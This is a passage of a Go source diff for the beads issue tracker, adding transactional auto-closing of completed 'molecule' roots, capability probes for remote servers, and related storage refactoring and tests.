req issueops.AdvanceRequest) (issueops.AdvanceResult, error) { + result, err := s.inner.Advance(ctx, req) + if err == nil && result.Claimed && result.NextStep != nil { + s.hooks.CompleteIssueOperationUpdate(result.NextStep) + } + return result, err +} diff --git a/internal/storage/issueops/close_batch.go b/internal/storage/issueops/close_batch.go index 1a1be3a7b..4d468323e 100644 --- a/internal/storage/issueops/close_batch.go +++ b/internal/storage/issueops/close_batch.go @@ -59,8 +59,19 @@ func ValidateCloseBatchRequest(request publicops.CloseBatchRequest) error { func CloseBatchCommitMessage(result publicops.CloseBatchResult) string { ids := make([]string, 0, len(result.Outcomes)) ephemeral := 0 + var autoClosed []string for _, outcome := range result.Outcomes { - if outcome.Err != nil || !outcome.Changed { + if outcome.Err != nil { + continue + } + if root := outcome.AutoClosedMolecule; root != nil { + if IsWisp(root) { + ephemeral++ + } else { + autoClosed = append(autoClosed, root.ID) + } + } + if !outcome.Changed { continue } if closeOutcomeIsEphemeral(outcome) { @@ -79,6 +90,9 @@ func CloseBatchCommitMessage(result publicops.CloseBatchResult) string { case ephemeral > 1: parts = append(parts, fmt.Sprintf("close %d ephemeral items", ephemeral)) } + if len(autoClosed) > 0 { + parts = append(parts, "auto-close "+strings.Join(autoClosed, ", ")) + } if result.ClaimedNext != nil { parts = append(parts, "claim "+result.ClaimedNext.ID) } @@ -162,6 +176,25 @@ func ExecuteCloseBatchWithPolicy(ctx context.Context, tx *sql.Tx, request public } } + if request.AutoCloseMolecule { + closedAt := make([]int, 0, len(result.Outcomes)) + stepIDs := make([]string, 0, len(result.Outcomes)) + for i, outcome := range result.Outcomes { + if outcome.Err == nil { + closedAt = append(closedAt, i) + stepIDs = append(stepIDs, outcome.IssueID) + } + } + autos, autoTables, err := CloseCompletedMoleculesInTx(ctx, tx, stepIDs, request.Actor, request.Session) + if err != nil { + return publicops.CloseBatchResult{}, nil, err + } + tables.Merge(autoTables) + for j, i := range closedAt { + result.Outcomes[i].AutoClosedMolecule, result.Outcomes[i].MoleculeAutoCloseRefusal = autos[j].Root, autos[j].Refusal + } + } + if claimFilter != nil && landed > 0 { claim, claimTables, err := ExecuteClaimNext(ctx, tx, request.Actor, policy.FilterClaim(*claimFilter)) if err != nil { diff --git a/internal/storage/issueops/close_guard_test.go b/internal/storage/issueops/close_guard_test.go index 9fa419d5b..83da8f86f 100644 --- a/internal/storage/issueops/close_guard_test.go +++ b/internal/storage/issueops/close_guard_test.go @@ -2,6 +2,7 @@ package issueops import ( "errors" + "fmt" "testing" "github.com/steveyegge/beads/internal/types" @@ -53,3 +54,24 @@ func TestCheckClosable(t *testing.T) { t.Fatalf("held refusal = %#v", err) } } + +// TestRefusedMoleculeAutoCloseReportsTheRefusalsOwnSentence pins +// RefusedMoleculeAutoClose: whatever the layers between a root's refused close +// and the auto-close wrapped around it (the unit of work's use case and +// repository), Refusal is the sentence the refusing guard or policy wrote. +func TestRefusedMoleculeAutoCloseReportsTheRefusalsOwnSentence(t *testing.T) { + for _, refusal := range []error{ + publicops.NewCloseBlockedError("bd-1", []string{"bd-2"}), + &publicops.CloseOpenChildrenError{IssueID: "bd-1", OpenChildren: 2}, + &publicops.TemplateReadOnlyError{IssueID: "bd-1"}, + &publicops.PinnedError{IssueID: "bd-1"}, + &publicops.CloseNotAssigneeError{IssueID: "bd-1", Assignee: "bob", Actor: "alice"}, + } { + wrapped := fmt.Errorf("close bd-1: %w", fmt.Errorf("db: IssueSQLRepository.CloseChecked bd-1: %w", refusal)) + for _, err := range []error{refusal, wrapped} { + if got := RefusedMoleculeAutoClose(err).Refusal; got != refusal.Error() { + t.Errorf("RefusedMoleculeAutoClose(%q).Refusal = %q, want %q", err, got, refusal.Error()) + } + } + } +} diff --git a/internal/storage/issueops/execution.go b/internal/storage/issueops/execution.go index c701fb55f..bdfdeb743 100644 --- a/internal/storage/issueops/execution.go +++ b/internal/storage/issueops/execution.go @@ -336,7 +336,16 @@ func ExecuteClose(ctx context.Context, tx *sql.Tx, request publicops.CloseReques if err != nil { return publicops.CloseResult{}, nil, err } - return publicops.CloseResult{Issue: hydrated, Changed: changed, OpenChildren: closed.OpenChildren}, tables, nil + result := publicops.CloseResult{Issue: hydrated, Changed: changed, OpenChildren: closed.OpenChildren} + if attempt.AutoCloseMolecule { + auto, autoTables, err := CloseCompletedMoleculeInTx(ctx, tx, attempt.IssueID, attempt.Actor, attempt.Session) + if err != nil { + return publicops.CloseResult{}, nil, err + } + tables.Merge(autoTables) + result.AutoClosedMolecule, result.MoleculeAutoCloseRefusal = auto.Root, auto.Refusal + } + return result, tables, nil } // ExecuteReopen applies a guarded reopen in tx and reports durable tables changed. diff --git a/internal/storage/issueops/molecule.go b/internal/storage/issueops/molecule.go index be765c7a7..ac42c4de8 100644 --- a/internal/storage/issueops/molecule.go +++ b/internal/storage/issueops/molecule.go @@ -3,10 +3,13 @@ package issueops import ( "context" "database/sql" + "errors" "fmt" + "strconv" "strings" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // GetMoleculeProgressInTx returns progress stats for a molecule within an @@ -111,3 +114,191 @@ func GetMoleculeProgressInTx(ctx context.Context, tx *sql.Tx, moleculeID string) return stats, nil } + +// TxMoleculeReader binds the molecule rules (issueops.MoleculeReader) to a +// caller's transaction: it runs the SAME BatchGetter, Relations and EdgeReader +// bodies the store-backed roles run, against tx, so a close that decides +// whether it completed a molecule reads the state its own writes produced. +type TxMoleculeReader struct{ Tx DBTX } + +var _ = publicops.MoleculeReaderOver(TxMoleculeReader{}) + +// GetMany is the BatchGetter body (ExecuteGetMany) in the bound transaction. +func (r TxMoleculeReader) GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) { + return ExecuteGetMany(ctx, r.Tx, request) +} + +// Related is the Relations body (ExecuteRelated) in the bound transaction. +func (r TxMoleculeReader) Related(ctx context.Context, request publicops.RelatedRequest) ([]*publicops.RelatedIssue, error) { + if err := ValidateRelatedRequest(request); err != nil { + return nil, err + } + return ExecuteRelated(ctx, r.Tx, request) +} + +// ReadEdges is the EdgeReader body (ExecuteEdgeRead) in the bound transaction. +func (r TxMoleculeReader) ReadEdges(ctx context.Context, request publicops.EdgeReadRequest) (publicops.EdgeReadResult, error) { + if err := ValidateEdgeReadRequest(request); err != nil { + return publicops.EdgeReadResult{}, err + } + return ExecuteEdgeRead(ctx, r.Tx, request) +} + +// MoleculeAutoClose is what one molecule auto-close did. +type MoleculeAutoClose struct { + // Root is the post-close snapshot of the root it closed, or nil. + Root *types.Issue + // Refusal is why a completed root stayed open (its close policy or a + // close guard refused it), or "": the refusal's own sentence + // (RefusedMoleculeAutoClose). + Refusal string +} + +// RefusedMoleculeAutoClose is the MoleculeAutoClose for a root whose close +// failed with err, a refusal (issueops.IsMoleculeAutoCloseRefusal). Its +// Refusal is the sentence the refusing guard or close policy wrote, the same +// on every backend. ExecuteClose returns a refusal as it was minted, while the +// unit of work's use case and repository wrap it on the way out ("close : +// db: IssueSQLRepository.CloseChecked : …"); the sentence already names +// the root, so the wrap would only leak a repository type into an +// operator-facing field (bd close --json's molecule_auto_close_refusal). +func RefusedMoleculeAutoClose(err error) MoleculeAutoClose { + var ( + blocked *publicops.BlockedError + openChildren *publicops.CloseOpenChildrenError + template *publicops.TemplateReadOnlyError + pinned *publicops.PinnedError + notAssignee *publicops.CloseNotAssigneeError + ) + switch { + case errors.As(err, &blocked): + err = blocked + case errors.As(err, &openChildren): + err = openChildren + case errors.As(err, &template): + err = template + case errors.As(err, &pinned): + err = pinned + case errors.As(err, ¬Assignee): + err = notAssignee + } + return MoleculeAutoClose{Refusal: err.Error()} +} + +// moleculeCoordinationKeyPrefix names the local_metadata cells an auto-close +// rewrites (TouchMoleculeCoordinationInTx). +const moleculeCoordinationKeyPrefix = "molecule-coordination/v1/" + +// MoleculeCoordinationKey is the local_metadata cell a molecule auto-close +// rewrites before it decides rootID. It shares the dependency coordination +// cells' sharding (4096 rows): the same root always resolves to the same +// cell, and a hash collision between two roots only adds a safe +// serialization conflict. +func MoleculeCoordinationKey(rootID string) string { + return fmt.Sprintf("%s%03x", moleculeCoordinationKeyPrefix, dependencyCoordinationShard(rootID)) +} + +// TouchMoleculeCoordinationInTx rewrites rootID's molecule coordination cell +// with a fresh value, the dependency coordination idiom +// (TouchDependencyCoordinationTableInTx) applied to a molecule's completion. +// +// Two closes that finish a molecule's last two steps in concurrent +// transactions each read the other's step as still open, so neither closes the +// root, and their writes touch disjoint rows: both commit and the complete +// molecule's root is stranded open. Every auto-close that decides a root +// rewrites this one cell first, so two transactions deciding the same root +// conflict at commit instead; the loser's retry reads the winner's close and +// closes the root. +// +// The cost is that sibling closes serialize. The cell is rewritten before the +// steps are read, by every close under the open root and not only the one that +// completes it, so any two concurrent closes of steps under the same root +// conflict and one of them retries. Under heavy fan-out a close can spend its +// whole retry budget conflicting and then fails with the serialization error. +func TouchMoleculeCoordinationInTx(ctx context.Context, tx DBTX, rootID string) error { + if rootID == "" { + return fmt.Errorf("touch molecule coordination: root ID must not be empty") + } + if _, err := tx.ExecContext(ctx, + "REPLACE INTO local_metadata (`key`, value) VALUES (?, ?)", MoleculeCoordinationKey(rootID), strconv.FormatInt(FreshRowLock(), 10)); err != nil { + return fmt.Errorf("touch molecule coordination for %s: %w", rootID, err) + } + return nil +} + +// CloseCompletedMoleculeInTx is CloseRequest.AutoCloseMolecule's body for the +// store-backed backends: CloseCompletedMoleculesInTx for one step. +func CloseCompletedMoleculeInTx(ctx context.Context, tx *sql.Tx, stepID, actor, session string) (MoleculeAutoClose, ChangedTables, error) { + autos, tables, err := CloseCompletedMoleculesInTx(ctx, tx, []string{stepID}, actor, session) + if err != nil { + return MoleculeAutoClose{}, nil, err + } + return autos[0], tables, nil +} + +// CloseCompletedMoleculesInTx is CloseBatchRequest.AutoCloseMolecule's body +// for the store-backed backends, and through CloseCompletedMoleculeInTx +// CloseRequest.AutoCloseMolecule's. For every auto-closing molecule root a +// close of stepIDs could have completed (issueops.AutoClosingMoleculeRoots, +// read in tx), it rewrites the root's coordination cell +// (TouchMoleculeCoordinationInTx), and when every step under the root is now +// closed (issueops.MoleculeStepsClosed) it closes the root in tx through +// ExecuteClose — issueops.MoleculeRootClose: unforced, guarded on the root +// revision read in the same transaction, recording +// issueops.MoleculeAutoCloseReason and session. +// +// It answers one MoleculeAutoClose per step id, in order. Each root is decided +// once, and what happened to it is reported on the first step under it; every +// other step under that root answers the zero value. +// +// A refusal of the root (issueops.IsMoleculeAutoCloseRefusal) is answered as +// MoleculeAutoClose.Refusal and writes nothing; the caller's own closes stand. +// Any other failure is returned and fails the caller's transaction. +func CloseCompletedMoleculesInTx(ctx context.Context, tx *sql.Tx, stepIDs []string, actor, session string) ([]MoleculeAutoClose, ChangedTables, error) { + reader := publicops.MoleculeReaderOver(TxMoleculeReader{Tx: tx}) + roots, err := publicops.AutoClosingMoleculeRoots(ctx, reader, stepIDs) + if err != nil { + return nil, nil, err + } + autos := make([]MoleculeAutoClose, len(stepIDs)) + tables := ChangedTables{} + decided := make(map[string]bool, len(roots)) + for i, stepID := range stepIDs { + root := roots[stepID] + if root == nil || decided[root.ID] { + continue + } + decided[root.ID] = true + auto, rootTables, err := closeCompletedMoleculeRootInTx(ctx, tx, reader, root, actor, session) + if err != nil { + return nil, nil, err + } + tables.Merge(rootTables) + autos[i] = auto + } + return autos, tables, nil +} + +func closeCompletedMoleculeRootInTx(ctx context.Context, tx *sql.Tx, reader publicops.MoleculeReader, root *types.Issue, actor, session string) (MoleculeAutoClose, ChangedTables, error) { + if err := TouchMoleculeCoordinationInTx(ctx, tx, root.ID); err != nil { + return MoleculeAutoClose{}, nil, err + } + complete, err := publicops.MoleculeStepsClosed(ctx, reader, root.ID) + if err != nil || !complete { + return MoleculeAutoClose{}, nil, err + } + closed, tables, err := ExecuteClose(ctx, tx, publicops.MoleculeRootClose(root, actor, session)) + if publicops.IsMoleculeAutoCloseRefusal(err) { + return RefusedMoleculeAutoClose(err), nil, nil + } + if err != nil { + // Not a refusal, such as a storage error. Returned, it fails the + // caller's transaction, so the step's own close rolls back with it + // (CloseRequest.AutoCloseMolecule). + return MoleculeAutoClose{}, nil, fmt.Errorf("auto-closing molecule %s: %w", root.ID, err) + } + if !closed.Changed { + return MoleculeAutoClose{}, tables, nil + } + return MoleculeAutoClose{Root: closed.Issue}, tables, nil +} diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 74fe93699..4b6ee01ee 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -388,6 +388,16 @@ type Storage interface { // event Releaser fires. See hook_lease_reclaimer.go. LeaseReclaimer() (issueops.LeaseReclaimer, error) + // MoleculeStepper returns the advance-a-molecule surface for this store: + // find a molecule's next ready step after one closed and, on request, + // claim it — the operation behind `bd close --continue`. Every local + // backend answers issueops.NewMoleculeStepper composed over its own + // roles; a remote backend serves it over its wire. + // + // It is a WRITE role and its hook decorator WRAPS: a claimed step fires + // on_update, as every claim does. + MoleculeStepper() (issueops.MoleculeStepper, error) + // Issue CRUD CreateIssue(ctx context.Context, issue *types.Issue, actor string) error CreateIssues(ctx context.Context, issues []*types.Issue, actor string) error @@ -1082,6 +1092,62 @@ type ExternalDependencyPolicyProber interface { ServerEnforcesExternalDependencyPolicy(ctx context.Context) (bool, error) } +// MoleculeAutoCloseProber is implemented by a DoltStorage whose closes may not +// accept issueops.CloseRequest.AutoCloseMolecule — today exactly +// httpclient.Store, whose server advertises it with +// issues.close.autoCloseMolecule. Every local backend runs the auto-close in +// the close's own transaction and does not implement this. +// +// A server that does not advertise it (an older bd serve, or a server whose +// orchestrator owns the molecule lifecycle, as gc does) is answered false, and +// the caller closes WITHOUT the flag: asking for it there is refused before +// dialing, and the molecule's auto-close is that server's to run. +type MoleculeAutoCloseProber interface { + ServesMoleculeAutoClose(ctx context.Context) (bool, error) +} + +// ServesMoleculeAutoClose reports whether closes through s may set +// issueops.CloseRequest.AutoCloseMolecule (MoleculeAutoCloseProber, looked up +// through every decorator). A store that does not implement the prober runs +// the auto-close itself and is answered true. A probe that fails is answered +// true as well: the close dials the same handshake and reports its failure, +// so nothing is hidden by asking for the auto-close. +func ServesMoleculeAutoClose(ctx context.Context, s DoltStorage) bool { + prober, ok := UnwrapStore(s).(MoleculeAutoCloseProber) + if !ok { + return true + } + served, err := prober.ServesMoleculeAutoClose(ctx) + return err != nil || served +} + +// MoleculeAdvanceProber is implemented by a DoltStorage whose MoleculeStepper +// may not be served — today exactly httpclient.Store, whose server advertises +// it with issues.advanceMolecule. Every local backend composes the stepper +// over its own roles and does not implement this. +type MoleculeAdvanceProber interface { + ServesMoleculeAdvance(ctx context.Context) (bool, error) +} + +// ServesMoleculeAdvance reports whether s's MoleculeStepper can run +// (MoleculeAdvanceProber, looked up through every decorator). A store that +// does not implement the prober runs the advance itself and is answered true. +// A probe that fails returns its error. +// +// `bd close --continue` asks BEFORE it closes: the advance is a second +// operation after the close commits, so refusing it only then would leave +// the step closed and the next step unclaimed. That is also why a failed +// probe is not answered true, as ServesMoleculeAutoClose answers it: the +// close would commit and only the advance, dialing the same handshake, would +// fail — the half-done state the question exists to avoid. +func ServesMoleculeAdvance(ctx context.Context, s DoltStorage) (bool, error) { + prober, ok := UnwrapStore(s).(MoleculeAdvanceProber) + if !ok { + return true, nil + } + return prober.ServesMoleculeAdvance(ctx) +} + // ExcludeIDsUnsupportedStore is implemented by a DoltStorage whose ready-work // reads cannot express types.WorkFilter.ExcludeIDs over their own transport. // Today that is exactly httpclient.Store: the v0 wire's listReadyWork and diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 4eebb70b6..ac268f448 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -35,6 +35,7 @@ go_library( "maintenance.go", "memories.go", "metadata_cas.go", + "molecule.go", "notifying.go", "pool.go", "querier.go", @@ -141,6 +142,7 @@ go_test( "memories_contract_test.go", "metadata_cas_contract_test.go", "metadata_patch_dolt_test.go", + "molecule_contract_test.go", "notifying_integration_test.go", "notifying_parity_test.go", "notifying_test.go", diff --git a/internal/storage/uow/batch_closer.go b/internal/storage/uow/batch_closer.go index e29707f42..43cfed688 100644 --- a/internal/storage/uow/batch_closer.go +++ b/internal/storage/uow/batch_closer.go @@ -73,6 +73,24 @@ func (o *batchCloser) CloseBatch(ctx context.Context, request publicops.CloseBat } } + if request.AutoCloseMolecule { + closedAt := make([]int, 0, len(result.Outcomes)) + stepIDs := make([]string, 0, len(result.Outcomes)) + for i, outcome := range result.Outcomes { + if outcome.Err == nil { + closedAt = append(closedAt, i) + stepIDs = append(stepIDs, outcome.IssueID) + } + } + autos, err := CloseCompletedMoleculesInUOW(ctx, uw, stepIDs, request.Actor, request.Session) + if err != nil { + return publicops.CloseBatchResult{}, "", err + } + for j, i := range closedAt { + result.Outcomes[i].AutoClosedMolecule, result.Outcomes[i].MoleculeAutoCloseRefusal = autos[j].Root, autos[j].Refusal + } + } + if claimFilter != nil && landed > 0 { claimed, err := ClaimNextInUOW(ctx, uw, request.Actor, *claimFilter) if err != nil { diff --git a/internal/storage/uow/batchgetter.go b/internal/storage/uow/batchgetter.go index c379d2102..adbd54cc1 100644 --- a/internal/storage/uow/batchgetter.go +++ b/internal/storage/uow/batchgetter.go @@ -39,6 +39,11 @@ var _ publicops.BatchGetter = (*batchGetter)(nil) // body (issueops.ExecuteGetMany), so this leg does no pre-check of its own. func (c *batchGetter) GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) { return RunTxRead(ctx, c.provider, func(ctx context.Context, uw UnitOfWork) (publicops.GetManyResult, error) { - return uw.IssueUseCase().GetMany(ctx, request) + return GetManyInUOW(ctx, uw, request) }) } + +// GetManyInUOW is the BatchGetter body, run inside the caller's unit of work. +func GetManyInUOW(ctx context.Context, uw UnitOfWork, request publicops.GetManyRequest) (publicops.GetManyResult, error) { + return uw.IssueUseCase().GetMany(ctx, request) +} diff --git a/internal/storage/uow/edgereader.go b/internal/storage/uow/edgereader.go index bc4e456da..f288f1bd6 100644 --- a/internal/storage/uow/edgereader.go +++ b/internal/storage/uow/edgereader.go @@ -5,6 +5,7 @@ import ( "fmt" storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" publicops "github.com/steveyegge/beads/issueops" ) @@ -51,33 +52,49 @@ func (r *edgeReader) ReadEdges(ctx context.Context, request publicops.EdgeReadRe return publicops.EdgeReadResult{Anchors: []publicops.AnchorEdges{}}, nil } return RunTxRead(ctx, r.provider, func(ctx context.Context, uw UnitOfWork) (publicops.EdgeReadResult, error) { - present := make(map[string]struct{}, len(anchors)) - issues, err := uw.IssueUseCase().GetIssuesByIDs(ctx, anchors) - if err != nil { - return publicops.EdgeReadResult{}, err - } - for _, issue := range issues { - if issue != nil { - present[issue.ID] = struct{}{} - } - } - wisps, err := uw.IssueUseCase().GetWispsByIDs(ctx, anchors) - if err != nil { - return publicops.EdgeReadResult{}, err - } - for _, wisp := range wisps { - if wisp != nil { - present[wisp.ID] = struct{}{} - } - } - edges, err := uw.DependencyUseCase().GetIssueDependencyRecords(ctx, anchors) - if err != nil { - return publicops.EdgeReadResult{}, err - } - // The type filter and the order run HERE rather than in the reads - // above, so both implementations narrow and order through one function; - // a filter pushed into one side's query would put the narrowing in SQL - // on one backend and in Go on the other. - return storageissueops.FinishEdgeRead(anchors, present, edges, request.Types), nil + return readEdgesInUOW(ctx, uw, anchors, request.Types) }) } + +// ReadEdgesInUOW is the EdgeReader body, run inside the caller's unit of work. +func ReadEdgesInUOW(ctx context.Context, uw UnitOfWork, request publicops.EdgeReadRequest) (publicops.EdgeReadResult, error) { + if err := storageissueops.ValidateEdgeReadRequest(request); err != nil { + return publicops.EdgeReadResult{}, err + } + anchors := storageissueops.EdgeReadAnchors(request.IDs) + if len(anchors) == 0 { + return publicops.EdgeReadResult{Anchors: []publicops.AnchorEdges{}}, nil + } + return readEdgesInUOW(ctx, uw, anchors, request.Types) +} + +func readEdgesInUOW(ctx context.Context, uw UnitOfWork, anchors []string, depTypes []types.DependencyType) (publicops.EdgeReadResult, error) { + present := make(map[string]struct{}, len(anchors)) + issues, err := uw.IssueUseCase().GetIssuesByIDs(ctx, anchors) + if err != nil { + return publicops.EdgeReadResult{}, err + } + for _, issue := range issues { + if issue != nil { + present[issue.ID] = struct{}{} + } + } + wisps, err := uw.IssueUseCase().GetWispsByIDs(ctx, anchors) + if err != nil { + return publicops.EdgeReadResult{}, err + } + for _, wisp := range wisps { + if wisp != nil { + present[wisp.ID] = struct{}{} + } + } + edges, err := uw.DependencyUseCase().GetIssueDependencyRecords(ctx, anchors) + if err != nil { + return publicops.EdgeReadResult{}, err + } + // The type filter and the order run HERE rather than in the reads + // above, so both implementations narrow and order through one function; + // a filter pushed into one side's query would put the narrowing in SQL + // on one backend and in Go on the other. + return storageissueops.FinishEdgeRead(anchors, present, edges, depTypes), nil +} diff --git a/internal/storage/uow/issue_operations.go b/internal/storage/uow/issue_operations.go index 55205753a..b2c5debb0 100644 --- a/internal/storage/uow/issue_operations.go +++ b/internal/storage/uow/issue_operations.go @@ -440,8 +440,15 @@ func (o *issueOperations) Close(ctx context.Context, request publicops.CloseRequ if err != nil { return publicops.CloseResult{}, "", err } - return publicops.CloseResult{Issue: hydrated, Changed: !semanticIssueEqual(before, hydrated), OpenChildren: closed.OpenChildren}, - "close issue", nil + result := publicops.CloseResult{Issue: hydrated, Changed: !semanticIssueEqual(before, hydrated), OpenChildren: closed.OpenChildren} + if attempt.AutoCloseMolecule { + auto, err := CloseCompletedMoleculeInUOW(ctx, uw, attempt.IssueID, attempt.Actor, attempt.Session) + if err != nil { + return publicops.CloseResult{}, "", err + } + result.AutoClosedMolecule, result.MoleculeAutoCloseRefusal = auto.Root, auto.Refusal + } + return result, "close issue", nil }) } diff --git a/internal/storage/uow/molecule.go b/internal/storage/uow/molecule.go new file mode 100644 index 000000000..859130e5b --- /dev/null +++ b/internal/storage/uow/molecule.go @@ -0,0 +1,182 @@ +package uow + +import ( + "context" + "fmt" + "strconv" + + "github.com/steveyegge/beads/internal/storage/domain" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + publicops "github.com/steveyegge/beads/issueops" +) + +// MoleculeReaderInUOW binds the molecule rules (issueops.MoleculeReader) to a +// caller's unit of work: the SAME BatchGetter, Relations and EdgeReader bodies +// this backend's roles run (GetManyInUOW, RelatedInUOW, ReadEdgesInUOW), +// against uw, so a close that decides whether it completed a molecule reads +// the state its own writes produced. It is this backend's twin of +// internal/storage/issueops.TxMoleculeReader. +func MoleculeReaderInUOW(uw UnitOfWork) publicops.MoleculeReader { + return publicops.MoleculeReaderOver(uowMoleculeReader{uw: uw}) +} + +type uowMoleculeReader struct{ uw UnitOfWork } + +func (r uowMoleculeReader) GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) { + return GetManyInUOW(ctx, r.uw, request) +} + +func (r uowMoleculeReader) Related(ctx context.Context, request publicops.RelatedRequest) ([]*publicops.RelatedIssue, error) { + if err := storageissueops.ValidateRelatedRequest(request); err != nil { + return nil, err + } + return RelatedInUOW(ctx, r.uw, request) +} + +func (r uowMoleculeReader) ReadEdges(ctx context.Context, request publicops.EdgeReadRequest) (publicops.EdgeReadResult, error) { + return ReadEdgesInUOW(ctx, r.uw, request) +} + +// CloseCompletedMoleculeInUOW is CloseRequest.AutoCloseMolecule's body for +// this backend: CloseCompletedMoleculesInUOW for one step. +func CloseCompletedMoleculeInUOW(ctx context.Context, uw UnitOfWork, stepID, actor, session string) (storageissueops.MoleculeAutoClose, error) { + autos, err := CloseCompletedMoleculesInUOW(ctx, uw, []string{stepID}, actor, session) + if err != nil { + return storageissueops.MoleculeAutoClose{}, err + } + return autos[0], nil +} + +// CloseCompletedMoleculesInUOW is CloseBatchRequest.AutoCloseMolecule's body +// for this backend, the twin of storageissueops.CloseCompletedMoleculesInTx: +// for every auto-closing molecule root a close of stepIDs could have completed +// (issueops.AutoClosingMoleculeRoots read in uw), it rewrites the root's +// coordination cell (storageissueops.MoleculeCoordinationKey, so two units of +// work deciding the same root conflict at commit and the retry reads the +// other's close; the cost, serialized sibling closes, is +// storageissueops.TouchMoleculeCoordinationInTx's), and when every step under +// the root is now closed (issueops.MoleculeStepsClosed) it closes the root in +// uw — unforced, guarded on the root revision read in the same unit of work, +// recording issueops.MoleculeAutoCloseReason and session. +// +// It answers one MoleculeAutoClose per step id, in order: each root is decided +// once and reported on the first step under it. A refusal of the root +// (issueops.IsMoleculeAutoCloseRefusal) is answered as the Refusal and leaves +// the root untouched; the caller's own closes stand. Any other failure is +// returned and fails the caller's unit of work. +func CloseCompletedMoleculesInUOW(ctx context.Context, uw UnitOfWork, stepIDs []string, actor, session string) ([]storageissueops.MoleculeAutoClose, error) { + reader := MoleculeReaderInUOW(uw) + roots, err := publicops.AutoClosingMoleculeRoots(ctx, reader, stepIDs) + if err != nil { + return nil, err + } + autos := make([]storageissueops.MoleculeAutoClose, len(stepIDs)) + decided := make(map[string]bool, len(roots)) + for i, stepID := range stepIDs { + root := roots[stepID] + if root == nil || decided[root.ID] { + continue + } + decided[root.ID] = true + auto, err := closeCompletedMoleculeRootInUOW(ctx, uw, reader, root, actor, session) + if err != nil { + return nil, err + } + autos[i] = auto + } + return autos, nil +} + +func closeCompletedMoleculeRootInUOW(ctx context.Context, uw UnitOfWork, reader publicops.MoleculeReader, root *publicops.Issue, actor, session string) (storageissueops.MoleculeAutoClose, error) { + // storageissueops.TouchMoleculeCoordinationInTx, through this unit of work. + touch := strconv.FormatInt(storageissueops.FreshRowLock(), 10) + if err := uw.ConfigUseCase().SetLocalMetadata(ctx, storageissueops.MoleculeCoordinationKey(root.ID), touch); err != nil { + return storageissueops.MoleculeAutoClose{}, fmt.Errorf("touch molecule coordination for %s: %w", root.ID, err) + } + complete, err := publicops.MoleculeStepsClosed(ctx, reader, root.ID) + if err != nil || !complete { + return storageissueops.MoleculeAutoClose{}, err + } + req := publicops.MoleculeRootClose(root, actor, session) + // A probe, not a write: an UpdateSpec with no Fields applies nothing. It + // only checks the root's revision against req.ExpectedVersion, the guard + // the close below does not take itself. + if _, err := uw.IssueUseCase().ApplyUpdate(ctx, req.IssueID, domain.UpdateSpec{ExpectedVersion: req.ExpectedVersion}, req.Actor); err != nil { + if publicops.IsMoleculeAutoCloseRefusal(err) { + return storageissueops.RefusedMoleculeAutoClose(err), nil + } + return storageissueops.MoleculeAutoClose{}, fmt.Errorf("auto-closing molecule %s: %w", root.ID, err) + } + params := domain.CloseIssueParams{Reason: req.Reason, Session: req.Session} + var closed domain.CloseIssueResult + if storageissueops.IsWisp(root) { + closed, err = uw.IssueUseCase().CloseWispChecked(ctx, req.IssueID, params, req.Actor, req.Force) + } else { + closed, err = uw.IssueUseCase().CloseIssueChecked(ctx, req.IssueID, params, req.Actor, req.Force) + } + if publicops.IsMoleculeAutoCloseRefusal(err) { + return storageissueops.RefusedMoleculeAutoClose(err), nil + } + if err != nil { + return storageissueops.MoleculeAutoClose{}, fmt.Errorf("auto-closing molecule %s: %w", root.ID, err) + } + if !closed.Closed { + return storageissueops.MoleculeAutoClose{}, nil + } + current := root + if closed.Issue != nil { + current = closed.Issue + } + hydrated, err := hydrateIssueOperation(ctx, uw, current, false, false) + if err != nil { + return storageissueops.MoleculeAutoClose{}, err + } + return storageissueops.MoleculeAutoClose{Root: hydrated}, nil +} + +// MoleculeStepperSource is the capability accessor a unit-of-work provider +// offers for the advance-a-molecule role. +type MoleculeStepperSource interface { + MoleculeStepper() (publicops.MoleculeStepper, error) +} + +// MoleculeStepper returns the advance-a-molecule surface for this provider. +func (p *doltSQLProvider) MoleculeStepper() (publicops.MoleculeStepper, error) { + return NewMoleculeStepper(p) +} + +// NewMoleculeStepper is issueops.NewMoleculeStepper composed over the roles +// THIS provider builds (its batch getter, relations, edge reader, claimer and +// lifecycle), so a wrapper that builds its roles over itself — the notifying +// provider, a policy decorator, the server's timed provider — gets an advance +// whose every read and claim goes through its own layer. +func NewMoleculeStepper(provider UnitOfWorkProvider) (publicops.MoleculeStepper, error) { + if isNilUnitOfWorkProvider(provider) { + return nil, fmt.Errorf("new molecule stepper: unit-of-work provider must not be nil") + } + getter, err := NewBatchGetter(provider) + if err != nil { + return nil, err + } + relations, err := NewIssueRelations(provider) + if err != nil { + return nil, err + } + edges, err := NewEdgeReader(provider) + if err != nil { + return nil, err + } + claimer, err := NewIssueClaimer(provider) + if err != nil { + return nil, err + } + lifecycle, err := NewIssueOperations(provider) + if err != nil { + return nil, err + } + return publicops.NewMoleculeStepper(publicops.MoleculeStepperRoles{ + Reader: publicops.MoleculeReader{BatchGetter: getter, Relations: relations, EdgeReader: edges}, + Claimer: claimer, + Lifecycle: lifecycle, + }), nil +} diff --git a/internal/storage/uow/molecule_contract_test.go b/internal/storage/uow/molecule_contract_test.go new file mode 100644 index 000000000..a4ea4c1ff --- /dev/null +++ b/internal/storage/uow/molecule_contract_test.go @@ -0,0 +1,257 @@ +package uow + +import ( + "context" + "fmt" + "sync" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestMoleculeContract runs the molecule contract against the unit-of-work +// backend, whose auto-close body (CloseCompletedMoleculeInUOW) is its own and +// whose stepper is composed over this provider's roles. One provider for the +// suite; sequential subtests namespaced by prefix. +func TestMoleculeContract(t *testing.T) { + ctx := context.Background() + provider := newUOWRoleFixtureProvider(t, ctx, "mol") + fixture := newUOWMoleculeFixture(t, provider, "mol") + 